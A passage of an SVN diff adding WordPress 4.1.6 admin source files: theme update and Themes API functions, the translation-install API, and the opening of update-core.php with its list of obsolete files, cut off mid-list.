+		$update = $themes_update->response[ $stylesheet ];
+		$theme_name = $theme->display('Name');
+		$details_url = add_query_arg(array('TB_iframe' => 'true', 'width' => 1024, 'height' => 800), $update['url']); //Theme browser inside WP? replace this, Also, theme preview JS will override this on the available list.
+		$update_url = wp_nonce_url( admin_url( 'update.php?action=upgrade-theme&amp;theme=' . urlencode( $stylesheet ) ), 'upgrade-theme_' . $stylesheet );
+		$update_onclick = 'onclick="if ( confirm(\'' . esc_js( __("Updating this theme will lose any customizations you have made. 'Cancel' to stop, 'OK' to update.") ) . '\') ) {return true;}return false;"';
+
+		if ( !is_multisite() ) {
+			if ( ! current_user_can('update_themes') ) {
+				$html = sprintf( '<p><strong>' . __( 'There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a>.' ) . '</strong></p>',
+					$theme_name, esc_url( $details_url ), esc_attr( $theme['Name'] ), $update['new_version'] );
+			} else if ( empty( $update['package'] ) ) {
+				$html = sprintf( '<p><strong>' . __( 'There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a>. <em>Automatic update is unavailable for this theme.</em>' ) . '</strong></p>',
+					$theme_name, esc_url( $details_url ), esc_attr( $theme['Name'] ), $update['new_version'] );
+			} else {
+				$html = sprintf( '<p><strong>' . __( 'There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a> or <a href="%5$s">update now</a>.' ) . '</strong></p>',
+					$theme_name, esc_url( $details_url ), esc_attr( $theme['Name'] ), $update['new_version'], $update_url, $update_onclick );
+			}
+		}
+	}
+
+	return $html;
+}
+
+/**
+ * Retrieve list of WordPress theme features (aka theme tags)
+ *
+ * @since 3.1.0
+ *
+ * @param bool $api Optional. Whether try to fetch tags from the WP.org API. Defaults to true.
+ * @return array Array of features keyed by category with translations keyed by slug.
+ */
+function get_theme_feature_list( $api = true ) {
+	// Hard-coded list is used if api not accessible.
+	$features = array(
+			__( 'Colors' ) => array(
+				'black'   => __( 'Black' ),
+				'blue'    => __( 'Blue' ),
+				'brown'   => __( 'Brown' ),
+				'gray'    => __( 'Gray' ),
+				'green'   => __( 'Green' ),
+				'orange'  => __( 'Orange' ),
+				'pink'    => __( 'Pink' ),
+				'purple'  => __( 'Purple' ),
+				'red'     => __( 'Red' ),
+				'silver'  => __( 'Silver' ),
+				'tan'     => __( 'Tan' ),
+				'white'   => __( 'White' ),
+				'yellow'  => __( 'Yellow' ),
+				'dark'    => __( 'Dark' ),
+				'light'   => __( 'Light' ),
+			),
+
+		__( 'Layout' ) => array(
+			'fixed-layout'      => __( 'Fixed Layout' ),
+			'fluid-layout'      => __( 'Fluid Layout' ),
+			'responsive-layout' => __( 'Responsive Layout' ),
+			'one-column'    => __( 'One Column' ),
+			'two-columns'   => __( 'Two Columns' ),
+			'three-columns' => __( 'Three Columns' ),
+			'four-columns'  => __( 'Four Columns' ),
+			'left-sidebar'  => __( 'Left Sidebar' ),
+			'right-sidebar' => __( 'Right Sidebar' ),
+		),
+
+		__( 'Features' ) => array(
+			'accessibility-ready'   => __( 'Accessibility Ready' ),
+			'blavatar'              => __( 'Blavatar' ),
+			'buddypress'            => __( 'BuddyPress' ),
+			'custom-background'     => __( 'Custom Background' ),
+			'custom-colors'         => __( 'Custom Colors' ),
+			'custom-header'         => __( 'Custom Header' ),
+			'custom-menu'           => __( 'Custom Menu' ),
+			'editor-style'          => __( 'Editor Style' ),
+			'featured-image-header' => __( 'Featured Image Header' ),
+			'featured-images'       => __( 'Featured Images' ),
+			'flexible-header'       => __( 'Flexible Header' ),
+			'front-page-post-form'  => __( 'Front Page Posting' ),
+			'full-width-template'   => __( 'Full Width Template' ),
+			'microformats'          => __( 'Microformats' ),
+			'post-formats'          => __( 'Post Formats' ),
+			'rtl-language-support'  => __( 'RTL Language Support' ),
+			'sticky-post'           => __( 'Sticky Post' ),
+			'theme-options'         => __( 'Theme Options' ),
+			'threaded-comments'     => __( 'Threaded Comments' ),
+			'translation-ready'     => __( 'Translation Ready' ),
+		),
+
+		__( 'Subject' )  => array(
+			'holiday'       => __( 'Holiday' ),
+			'photoblogging' => __( 'Photoblogging' ),
+			'seasonal'      => __( 'Seasonal' ),
+		)
+	);
+
+	if ( ! $api || ! current_user_can( 'install_themes' ) )
+		return $features;
+
+	if ( !$feature_list = get_site_transient( 'wporg_theme_feature_list' ) )
+		set_site_transient( 'wporg_theme_feature_list', array(), 3 * HOUR_IN_SECONDS );
+
+	if ( !$feature_list ) {
+		$feature_list = themes_api( 'feature_list', array() );
+		if ( is_wp_error( $feature_list ) )
+			return $features;
+	}
+
+	if ( !$feature_list )
+		return $features;
+
+	set_site_transient( 'wporg_theme_feature_list', $feature_list, 3 * HOUR_IN_SECONDS );
+
+	$category_translations = array(
+		'Colors'   => __( 'Colors' ),
+		'Layout'   => __( 'Layout' ),
+		'Features' => __( 'Features' ),
+		'Subject'  => __( 'Subject' )
+	);
+
+	// Loop over the wporg canonical list and apply translations
+	$wporg_features = array();
+	foreach ( (array) $feature_list as $feature_category => $feature_items ) {
+		if ( isset($category_translations[$feature_category]) )
+			$feature_category = $category_translations[$feature_category];
+		$wporg_features[$feature_category] = array();
+
+		foreach ( $feature_items as $feature ) {
+			if ( isset($features[$feature_category][$feature]) )
+				$wporg_features[$feature_category][$feature] = $features[$feature_category][$feature];
+			else
+				$wporg_features[$feature_category][$feature] = $feature;
+		}
+	}
+
+	return $wporg_features;
+}
+
+/**
+ * Retrieve theme installer pages from WordPress Themes API.
+ *
+ * It is possible for a theme to override the Themes API result with three
+ * filters. Assume this is for themes, which can extend on the Theme Info to
+ * offer more choices. This is very powerful and must be used with care, when
+ * overriding the filters.
+ *
+ * The first filter, 'themes_api_args', is for the args and gives the action as
+ * the second parameter. The hook for 'themes_api_args' must ensure that an
+ * object is returned.
+ *
+ * The second filter, 'themes_api', is the result that would be returned.
+ *
+ * @since 2.8.0
+ *
+ * @param string       $action The requested action. Likely values are 'theme_information',
+ *                             'feature_list', or 'query_themes'.
+ * @param array|object $args   Optional. Arguments to serialize for the Theme Info API.
+ * @return mixed
+ */
+function themes_api( $action, $args = null ) {
+
+	if ( is_array( $args ) ) {
+		$args = (object) $args;
+	}
+
+	if ( ! isset( $args->per_page ) ) {
+		$args->per_page = 24;
+	}
+
+	if ( ! isset( $args->locale ) ) {
+		$args->locale = get_locale();
+	}
+
+	/**
+	 * Filter arguments used to query for installer pages from the WordPress.org Themes API.
+	 *
+	 * Important: An object MUST be returned to this filter.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param object $args   Arguments used to query for installer pages from the WordPress.org Themes API.
+	 * @param string $action Requested action. Likely values are 'theme_information',
+	 *                       'feature_list', or 'query_themes'.
+	 */
+	$args = apply_filters( 'themes_api_args', $args, $action );
+
+	/**
+	 * Filter whether to override the WordPress.org Themes API.
+	 *
+	 * Returning a value of true to this filter allows a theme to completely
+	 * override the built-in WordPress.org API.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param bool   $bool   Whether to override the WordPress.org Themes API. Default false.
+	 * @param string $action Requested action. Likely values are 'theme_information',
+	 *                       'feature_list', or 'query_themes'.
+	 * @param object $args   Arguments used to query for installer pages from the Themes API.
+	 */
+	$res = apply_filters( 'themes_api', false, $action, $args );
+
+	if ( ! $res ) {
+		$url = $http_url = 'http://api.wordpress.org/themes/info/1.0/';
+		if ( $ssl = wp_http_supports( array( 'ssl' ) ) )
+			$url = set_url_scheme( $url, 'https' );
+
+		$args = array(
+			'body' => array(
+				'action' => $action,
+				'request' => serialize( $args )
+			)
+		);
+		$request = wp_remote_post( $url, $args );
+
+		if ( $ssl && is_wp_error( $request ) ) {
+			if ( ! defined( 'DOING_AJAX' ) || ! DOING_AJAX ) {
+				trigger_error( __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ), headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE );
+			}
+			$request = wp_remote_post( $http_url, $args );
+		}
+
+		if ( is_wp_error($request) ) {
+			$res = new WP_Error('themes_api_failed', __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ), $request->get_error_message() );
+		} else {
+			$res = maybe_unserialize( wp_remote_retrieve_body( $request ) );
+			if ( ! is_object( $res ) && ! is_array( $res ) )
+				$res = new WP_Error('themes_api_failed', __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ), wp_remote_retrieve_body( $request ) );
+		}
+	}
+
+	/**
+	 * Filter the returned WordPress.org Themes API response.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array|object $res    WordPress.org Themes API response.
+	 * @param string       $action Requested action. Likely values are 'theme_information',
+	 *                             'feature_list', or 'query_themes'.
+	 * @param object       $args   Arguments used to query for installer pages from the WordPress.org Themes API.
+	 */
+	return apply_filters( 'themes_api_result', $res, $action, $args );
+}
+
+/**
+ * Prepare themes for JavaScript.
+ *
+ * @since 3.8.0
+ *
+ * @param array $themes Optional. Array of WP_Theme objects to prepare.
+ *                      Defaults to all allowed themes.
+ *
+ * @return array An associative array of theme data, sorted by name.
+ */
+function wp_prepare_themes_for_js( $themes = null ) {
+	$current_theme = get_stylesheet();
+
+	// Make sure the current theme is listed first.
+	$prepared_themes = array( $current_theme => array() );
+
+	if ( null === $themes ) {
+		$themes = wp_get_themes( array( 'allowed' => true ) );
+		if ( ! isset( $themes[ $current_theme ] ) ) {
+			$themes[ $current_theme ] = wp_get_theme();
+		}
+	}
+
+	$updates = array();
+	if ( current_user_can( 'update_themes' ) ) {
+		$updates_transient = get_site_transient( 'update_themes' );
+		if ( isset( $updates_transient->response ) ) {
+			$updates = $updates_transient->response;
+		}
+	}
+
+	WP_Theme::sort_by_name( $themes );
+	foreach ( $themes as $theme ) {
+		$slug = $theme->get_stylesheet();
+		$encoded_slug = urlencode( $slug );
+
+		$parent = false;
+		if ( $theme->parent() ) {
+			$parent = $theme->parent()->display( 'Name' );
+			$parents[ $slug ] = $theme->parent()->get_stylesheet();
+		}
+
+		$prepared_themes[ $slug ] = array(
+			'id'           => $slug,
+			'name'         => $theme->display( 'Name' ),
+			'screenshot'   => array( $theme->get_screenshot() ), // @todo multiple
+			'description'  => $theme->display( 'Description' ),
+			'author'       => $theme->display( 'Author', false, true ),
+			'authorAndUri' => $theme->display( 'Author' ),
+			'version'      => $theme->display( 'Version' ),
+			'tags'         => $theme->display( 'Tags' ),
+			'parent'       => $parent,
+			'active'       => $slug === $current_theme,
+			'hasUpdate'    => isset( $updates[ $slug ] ),
+			'update'       => get_theme_update_available( $theme ),
+			'actions'      => array(
+				'activate' => current_user_can( 'switch_themes' ) ? wp_nonce_url( admin_url( 'themes.php?action=activate&amp;stylesheet=' . $encoded_slug ), 'switch-theme_' . $slug ) : null,
+				'customize' => ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) ? wp_customize_url( $slug ) : null,
+				'preview'   => add_query_arg( array(
+					'preview'        => 1,
+					'template'       => urlencode( $theme->get_template() ),
+					'stylesheet'     => urlencode( $slug ),
+					'preview_iframe' => true,
+					'TB_iframe'      => true,
+				), home_url( '/' ) ),
+				'delete'   => current_user_can( 'delete_themes' ) ? wp_nonce_url( admin_url( 'themes.php?action=delete&amp;stylesheet=' . $encoded_slug ), 'delete-theme_' . $slug ) : null,
+			),
+		);
+	}
+
+	// Remove 'delete' action if theme has an active child
+	if ( isset( $parents ) && array_key_exists( $current_theme, $parents ) ) {
+		unset( $prepared_themes[ $parents[ $current_theme ] ]['actions']['delete'] );
+	}
+
+	/**
+	 * Filter the themes prepared for JavaScript, for themes.php.
+	 *
+	 * Could be useful for changing the order, which is by name by default.
+	 *
+	 * @since 3.8.0
+	 *
+	 * @param array $prepared_themes Array of themes.
+	 */
+	$prepared_themes = apply_filters( 'wp_prepare_themes_for_js', $prepared_themes );
+	return array_values( $prepared_themes );
+}
Index: /tags/4.1.6/src/wp-admin/includes/translation-install.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/translation-install.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/translation-install.php	(revision 33402)
@@ -0,0 +1,240 @@
+<?php
+/**
+ * WordPress Translation Install Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+
+/**
+ * Retrieve translations from WordPress Translation API.
+ *
+ * @since 4.0.0
+ *
+ * @param string       $type Type of translations. Accepts 'plugins', 'themes', 'core'.
+ * @param array|object $args Translation API arguments. Optional.
+ * @return object|WP_Error On success an object of translations, WP_Error on failure.
+ */
+function translations_api( $type, $args = null ) {
+	include( ABSPATH . WPINC . '/version.php' ); // include an unmodified $wp_version
+
+	if ( ! in_array( $type, array( 'plugins', 'themes', 'core' ) ) ) {
+		return	new WP_Error( 'invalid_type', __( 'Invalid translation type.' ) );
+	}
+
+	/**
+	 * Allows a plugin to override the WordPress.org Translation Install API entirely.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param bool|array  $result The result object. Default false.
+	 * @param string      $type   The type of translations being requested.
+	 * @param object      $args   Translation API arguments.
+	 */
+	$res = apply_filters( 'translations_api', false, $type, $args );
+
+	if ( false === $res ) {
+		$url = $http_url = 'http://api.wordpress.org/translations/' . $type . '/1.0/';
+		if ( $ssl = wp_http_supports( array( 'ssl' ) ) ) {
+			$url = set_url_scheme( $url, 'https' );
+		}
+
+		$options = array(
+			'timeout' => 3,
+			'body' => array(
+				'wp_version' => $wp_version,
+				'locale'     => get_locale(),
+				'version'    => $args['version'], // Version of plugin, theme or core
+			),
+		);
+
+		if ( 'core' !== $type ) {
+			$options['body']['slug'] = $args['slug']; // Plugin or theme slug
+		}
+
+		$request = wp_remote_post( $url, $options );
+
+		if ( $ssl && is_wp_error( $request ) ) {
+			trigger_error( __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ), headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE );
+
+			$request = wp_remote_post( $http_url, $options );
+		}
+
+		if ( is_wp_error( $request ) ) {
+			$res = new WP_Error( 'translations_api_failed', __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ), $request->get_error_message() );
+		} else {
+			$res = json_decode( wp_remote_retrieve_body( $request ), true );
+			if ( ! is_object( $res ) && ! is_array( $res ) ) {
+				$res = new WP_Error( 'translations_api_failed', __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ), wp_remote_retrieve_body( $request ) );
+			}
+		}
+	}
+
+	/**
+	 * Filter the Translation Install API response results.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param object|WP_Error $res  Response object or WP_Error.
+	 * @param string          $type The type of translations being requested.
+	 * @param object          $args Translation API arguments.
+	 */
+	return apply_filters( 'translations_api_result', $res, $type, $args );
+}
+
+/**
+ * Get available translations from the WordPress.org API.
+ *
+ * @since 4.0.0
+ *
+ * @see translations_api()
+ *
+ * @return array Array of translations, each an array of data. If the API response results
+ *               in an error, an empty array will be returned.
+ */
+function wp_get_available_translations() {
+	if ( ! defined( 'WP_INSTALLING' ) && false !== ( $translations = get_site_transient( 'available_translations' ) ) ) {
+		return $translations;
+	}
+
+	include( ABSPATH . WPINC . '/version.php' ); // include an unmodified $wp_version
+
+	$api = translations_api( 'core', array( 'version' => $wp_version ) );
+
+	if ( is_wp_error( $api ) || empty( $api['translations'] ) ) {
+		return array();
+	}
+
+	$translations = array();
+	// Key the array with the language code for now.
+	foreach ( $api['translations'] as $translation ) {
+		$translations[ $translation['language'] ] = $translation;
+	}
+
+	if ( ! defined( 'WP_INSTALLING' ) ) {
+		set_site_transient( 'available_translations', $translations, 3 * HOUR_IN_SECONDS );
+	}
+
+	return $translations;
+}
+
+/**
+ * Output the select form for the language selection on the installation screen.
+ *
+ * @since 4.0.0
+ *
+ * @param array $languages Array of available languages (populated via the Translation API).
+ */
+function wp_install_language_form( $languages ) {
+	global $wp_local_package;
+
+	$installed_languages = get_available_languages();
+
+	echo "<label class='screen-reader-text' for='language'>Select a default language</label>\n";
+	echo "<select size='14' name='language' id='language'>\n";
+	echo '<option value="" lang="en" selected="selected" data-continue="Continue" data-installed="1">English (United States)</option>';
+	echo "\n";
+
+	if ( ! empty( $wp_local_package ) && isset( $languages[ $wp_local_package ] ) ) {
+		if ( isset( $languages[ $wp_local_package ] ) ) {
+			$language = $languages[ $wp_local_package ];
+			printf( '<option value="%s" lang="%s" data-continue="%s"%s>%s</option>' . "\n",
+				esc_attr( $language['language'] ),
+				esc_attr( $language['iso'][1] ),
+				esc_attr( $language['strings']['continue'] ),
+				in_array( $language['language'], $installed_languages ) ? ' data-installed="1"' : '',
+				esc_html( $language['native_name'] ) );
+
+			unset( $languages[ $wp_local_package ] );
+		}
+	}
+
+	foreach ( $languages as $language ) {
+		printf( '<option value="%s" lang="%s" data-continue="%s"%s>%s</option>' . "\n",
+			esc_attr( $language['language'] ),
+			esc_attr( $language['iso'][1] ),
+			esc_attr( $language['strings']['continue'] ),
+			in_array( $language['language'], $installed_languages ) ? ' data-installed="1"' : '',
+			esc_html( $language['native_name'] ) );
+	}
+	echo "</select>\n";
+	echo '<p class="step"><span class="spinner"></span><input id="language-continue" type="submit" class="button button-primary button-large" value="Continue" /></p>';
+}
+
+/**
+ * Download a language pack.
+ *
+ * @since 4.0.0
+ *
+ * @see wp_get_available_translations()
+ *
+ * @param string $download Language code to download.
+ * @return string|bool Returns the language code if successfully downloaded
+ *                     (or already installed), or false on failure.
+ */
+function wp_download_language_pack( $download ) {
+	// Check if the translation is already installed.
+	if ( in_array( $download, get_available_languages() ) ) {
+		return $download;
+	}
+
+	if ( defined( 'DISALLOW_FILE_MODS' ) && DISALLOW_FILE_MODS ) {
+		return false;
+	}
+
+	// Confirm the translation is one we can download.
+	$translations = wp_get_available_translations();
+	if ( ! $translations ) {
+		return false;
+	}
+	foreach ( $translations as $translation ) {
+		if ( $translation['language'] === $download ) {
+			$translation_to_load = true;
+			break;
+		}
+	}
+
+	if ( empty( $translation_to_load ) ) {
+		return false;
+	}
+	$translation = (object) $translation;
+
+	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
+	$skin = new Automatic_Upgrader_Skin;
+	$upgrader = new Language_Pack_Upgrader( $skin );
+	$translation->type = 'core';
+	$result = $upgrader->upgrade( $translation, array( 'clear_update_cache' => false ) );
+
+	if ( ! $result || is_wp_error( $result ) ) {
+		return false;
+	}
+
+	return $translation->language;
+}
+
+/**
+ * Check if WordPress has access to the filesystem without asking for
+ * credentials.
+ *
+ * @since 4.0.0
+ *
+ * @return bool Returns true on success, false on failure.
+ */
+function wp_can_install_language_pack() {
+	if ( defined( 'DISALLOW_FILE_MODS' ) && DISALLOW_FILE_MODS ) {
+		return false;
+	}
+
+	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
+	$skin = new Automatic_Upgrader_Skin;
+	$upgrader = new Language_Pack_Upgrader( $skin );
+
+	$check = $upgrader->fs_connect( array( WP_CONTENT_DIR, WP_LANG_DIR ) );
+
+	if ( ! $check || is_wp_error( $check ) ) {
+		return false;
+	}
+
+	return true;
+}
Index: /tags/4.1.6/src/wp-admin/includes/update-core.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/update-core.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/update-core.php	(revision 33402)
@@ -0,0 +1,1255 @@
+<?php
+/**
+ * WordPress core upgrade functionality.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 2.7.0
+ */
+
+/**
+ * Stores files to be deleted.
+ *
+ * @since 2.7.0
+ * @global array $_old_files
+ * @var array
+ * @name $_old_files
+ */
+global $_old_files;
+
+$_old_files = array(
+// 2.0
+'wp-admin/import-b2.php',
+'wp-admin/import-blogger.php',
+'wp-admin/import-greymatter.php',
+'wp-admin/import-livejournal.php',
+'wp-admin/import-mt.php',
+'wp-admin/import-rss.php',
+'wp-admin/import-textpattern.php',
+'wp-admin/quicktags.js',
+'wp-images/fade-butt.png',
+'wp-images/get-firefox.png',
+'wp-images/header-shadow.png',
+'wp-images/smilies',
+'wp-images/wp-small.png',
+'wp-images/wpminilogo.png',
+'wp.php',
+// 2.0.8
+'wp-includes/js/tinymce/plugins/inlinepopups/readme.txt',
+// 2.1
+'wp-admin/edit-form-ajax-cat.php',
+'wp-admin/execute-pings.php',
+'wp-admin/inline-uploading.php',
+'wp-admin/link-categories.php',
+'wp-admin/list-manipulation.js',
+'wp-admin/list-manipulation.php',
+'wp-includes/comment-functions.php',
+'wp-includes/feed-functions.php',
+'wp-includes/functions-compat.php',
+'wp-includes/functions-formatting.php',
+'wp-includes/functions-post.php',
+'wp-includes/js/dbx-key.js',
+'wp-includes/js/tinymce/plugins/autosave/langs/cs.js',
+'wp-includes/js/tinymce/plugins/autosave/langs/sv.js',
+'wp-includes/links.php',
+'wp-includes/pluggable-functions.php',
+'wp-includes/template-functions-author.php',
+'wp-includes/template-functions-category.php',
+'wp-includes/template-functions-general.php',
+'wp-includes/template-functions-links.php',
+'wp-includes/template-functions-post.php',
+'wp-includes/wp-l10n.php',
+// 2.2
+'wp-admin/cat-js.php',
+'wp-admin/import/b2.php',
+'wp-includes/js/autosave-js.php',
+'wp-includes/js/list-manipulation-js.php',
+'wp-includes/js/wp-ajax-js.php',
+// 2.3
+'wp-admin/admin-db.php',
+'wp-admin/cat.js',
+'wp-admin/categories.js',
+'wp-admin/custom-fields.js',
+'wp-admin/dbx-admin-key.js',
+'wp-admin/edit-comments.js',
+'wp-admin/install-rtl.css',
+'wp-admin/install.css',
+'wp-admin/upgrade-schema.php',
+'wp-admin/upload-functions.php',
+'wp-admin/upload-rtl.css',
+'wp-admin/upload.css',
+'wp-admin/upload.js',
+'wp-admin/users.js',
+'wp-admin/widgets-rtl.css',
+'wp-admin/widgets.css',
+'wp-admin/xfn.js',
+'wp-includes/js/tinymce/license.html',
+// 2.5
+'wp-admin/css/upload.css',
+'wp-admin/images/box-bg-left.gif',
+'wp-admin/images/box-bg-right.gif',
+'wp-admin/images/box-bg.gif',
+'wp-admin/images/box-butt-left.gif',
+'wp-admin/images/box-butt-right.gif',
+'wp-admin/images/box-butt.gif',
+'wp-admin/images/box-head-left.gif',
+'wp-admin/images/box-head-right.gif',
+'wp-admin/images/box-head.gif',
+'wp-admin/images/heading-bg.gif',
+'wp-admin/images/login-bkg-bottom.gif',
+'wp-admin/images/login-bkg-tile.gif',
+'wp-admin/images/notice.gif',
+'wp-admin/images/toggle.gif',
+'wp-admin/includes/upload.php',
+'wp-admin/js/dbx-admin-key.js',
+'wp-admin/js/link-cat.js',
+'wp-admin/profile-update.php',
+'wp-admin/templates.php',
+'wp-includes/images/wlw/WpComments.png',
+'wp-includes/images/wlw/WpIcon.png',
+'wp-includes/images/wlw/WpWatermark.png',
+'wp-includes/js/dbx.js',
+'wp-includes/js/fat.js',
+'wp-includes/js/list-manipulation.js',
+'wp-includes/js/tinymce/langs/en.js',
+'wp-includes/js/tinymce/plugins/autosave/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/autosave/langs',
+'wp-includes/js/tinymce/plugins/directionality/images',
+'wp-includes/js/tinymce/plugins/directionality/langs',
+'wp-includes/js/tinymce/plugins/inlinepopups/css',
+'wp-includes/js/tinymce/plugins/inlinepopups/images',
+'wp-includes/js/tinymce/plugins/inlinepopups/jscripts',
+'wp-includes/js/tinymce/plugins/paste/images',
+'wp-includes/js/tinymce/plugins/paste/jscripts',
+'wp-includes/js/tinymce/plugins/paste/langs',
+'wp-includes/js/tinymce/plugins/spellchecker/classes/HttpClient.class.php',
+'wp-includes/js/tinymce/plugins/spellchecker/classes/TinyGoogleSpell.class.php',
+'wp-includes/js/tinymce/plugins/spellchecker/classes/TinyPspell.class.php',
+'wp-includes/js/tinymce/plugins/spellchecker/classes/TinyPspellShell.class.php',
+'wp-includes/js/tinymce/plugins/spellchecker/css/spellchecker.css',
+'wp-includes/js/tinymce/plugins/spellchecker/images',
+'wp-includes/js/tinymce/plugins/spellchecker/langs',
+'wp-includes/js/tinymce/plugins/spellchecker/tinyspell.php',
+'wp-includes/js/tinymce/plugins/wordpress/images',
+'wp-includes/js/tinymce/plugins/wordpress/langs',
+'wp-includes/js/tinymce/plugins/wordpress/wordpress.css',
+'wp-includes/js/tinymce/plugins/wphelp',
+'wp-includes/js/tinymce/themes/advanced/css',
+'wp-includes/js/tinymce/themes/advanced/images',
+'wp-includes/js/tinymce/themes/advanced/jscripts',
+'wp-includes/js/tinymce/themes/advanced/langs',
+// 2.5.1
+'wp-includes/js/tinymce/tiny_mce_gzip.php',
+// 2.6
+'wp-admin/bookmarklet.php',
+'wp-includes/js/jquery/jquery.dimensions.min.js',
+'wp-includes/js/tinymce/plugins/wordpress/popups.css',
+'wp-includes/js/wp-ajax.js',
+// 2.7
+'wp-admin/css/press-this-ie-rtl.css',
+'wp-admin/css/press-this-ie.css',
+'wp-admin/css/upload-rtl.css',
+'wp-admin/edit-form.php',
+'wp-admin/images/comment-pill.gif',
+'wp-admin/images/comment-stalk-classic.gif',
+'wp-admin/images/comment-stalk-fresh.gif',
+'wp-admin/images/comment-stalk-rtl.gif',
+'wp-admin/images/del.png',
+'wp-admin/images/gear.png',
+'wp-admin/images/media-button-gallery.gif',
+'wp-admin/images/media-buttons.gif',
+'wp-admin/images/postbox-bg.gif',
+'wp-admin/images/tab.png',
+'wp-admin/images/tail.gif',
+'wp-admin/js/forms.js',
+'wp-admin/js/upload.js',
+'wp-admin/link-import.php',
+'wp-includes/images/audio.png',
+'wp-includes/images/css.png',
+'wp-includes/images/default.png',
+'wp-includes/images/doc.png',
+'wp-includes/images/exe.png',
+'wp-includes/images/html.png',
+'wp-includes/images/js.png',
+'wp-includes/images/pdf.png',
+'wp-includes/images/swf.png',
+'wp-includes/images/tar.png',
+'wp-includes/images/text.png',
+'wp-includes/images/video.png',
+'wp-includes/images/zip.png',
+'wp-includes/js/tinymce/tiny_mce_config.php',
+'wp-includes/js/tinymce/tiny_mce_ext.js',
+// 2.8
+'wp-admin/js/users.js',
+'wp-includes/js/swfupload/plugins/swfupload.documentready.js',
+'wp-includes/js/swfupload/plugins/swfupload.graceful_degradation.js',
+'wp-includes/js/swfupload/swfupload_f9.swf',
+'wp-includes/js/tinymce/plugins/autosave',
+'wp-includes/js/tinymce/plugins/paste/css',
+'wp-includes/js/tinymce/utils/mclayer.js',
+'wp-includes/js/tinymce/wordpress.css',
+// 2.8.5
+'wp-admin/import/btt.php',
+'wp-admin/import/jkw.php',
+// 2.9
+'wp-admin/js/page.dev.js',
+'wp-admin/js/page.js',
+'wp-admin/js/set-post-thumbnail-handler.dev.js',
+'wp-admin/js/set-post-thumbnail-handler.js',
+'wp-admin/js/slug.dev.js',
+'wp-admin/js/slug.js',
+'wp-includes/gettext.php',
+'wp-includes/js/tinymce/plugins/wordpress/js',
+'wp-includes/streams.php',
+// MU
+'README.txt',
+'htaccess.dist',
+'index-install.php',
+'wp-admin/css/mu-rtl.css',
+'wp-admin/css/mu.css',
+'wp-admin/images/site-admin.png',
+'wp-admin/includes/mu.php',
+'wp-admin/wpmu-admin.php',
+'wp-admin/wpmu-blogs.php',
+'wp-admin/wpmu-edit.php',
+'wp-admin/wpmu-options.php',
+'wp-admin/wpmu-themes.php',
+'wp-admin/wpmu-upgrade-site.php',
+'wp-admin/wpmu-users.php',
+'wp-includes/images/wordpress-mu.png',
+'wp-includes/wpmu-default-filters.php',
+'wp-includes/wpmu-functions.php',
+'wpmu-settings.php',
+// 3.0
+'wp-admin/categories.php',
+'wp-admin/edit-category-form.php',
+'wp-admin/edit-page-form.php',
+'wp-admin/edit-pages.php',
+'wp-admin/images/admin-header-footer.png',
+'wp-admin/images/browse-happy.gif',
+'wp-admin/images/ico-add.png',
+'wp-admin/images/ico-close.png',
+'wp-admin/images/ico-edit.png',
+'wp-admin/images/ico-viewpage.png',
+'wp-admin/images/fav-top.png',
+'wp-admin/images/screen-options-left.gif',
+'wp-admin/images/wp-logo-vs.gif',
+'wp-admin/images/wp-logo.gif',
+'wp-admin/import',
+'wp-admin/js/wp-gears.dev.js',
+'wp-admin/js/wp-gears.js',
+'wp-admin/options-misc.php',
+'wp-admin/page-new.php',
+'wp-admin/page.php',
+'wp-admin/rtl.css',
+'wp-admin/rtl.dev.css',
+'wp-admin/update-links.php',
+'wp-admin/wp-admin.css',
+'wp-admin/wp-admin.dev.css',
+'wp-includes/js/codepress',
+'wp-includes/js/codepress/engines/khtml.js',
+'wp-includes/js/codepress/engines/older.js',
+'wp-includes/js/jquery/autocomplete.dev.js',
+'wp-includes/js/jquery/autocomplete.js',
+'wp-includes/js/jquery/interface.js',
+'wp-includes/js/scriptaculous/prototype.js',
+'wp-includes/js/tinymce/wp-tinymce.js',
+// 3.1
+'wp-admin/edit-attachment-rows.php',
+'wp-admin/edit-link-categories.php',
+'wp-admin/edit-link-category-form.php',
+'wp-admin/edit-post-rows.php',
+'wp-admin/images/button-grad-active-vs.png',
+'wp-admin/images/button-grad-vs.png',
+'wp-admin/images/fav-arrow-vs-rtl.gif',
+'wp-admin/images/fav-arrow-vs.gif',
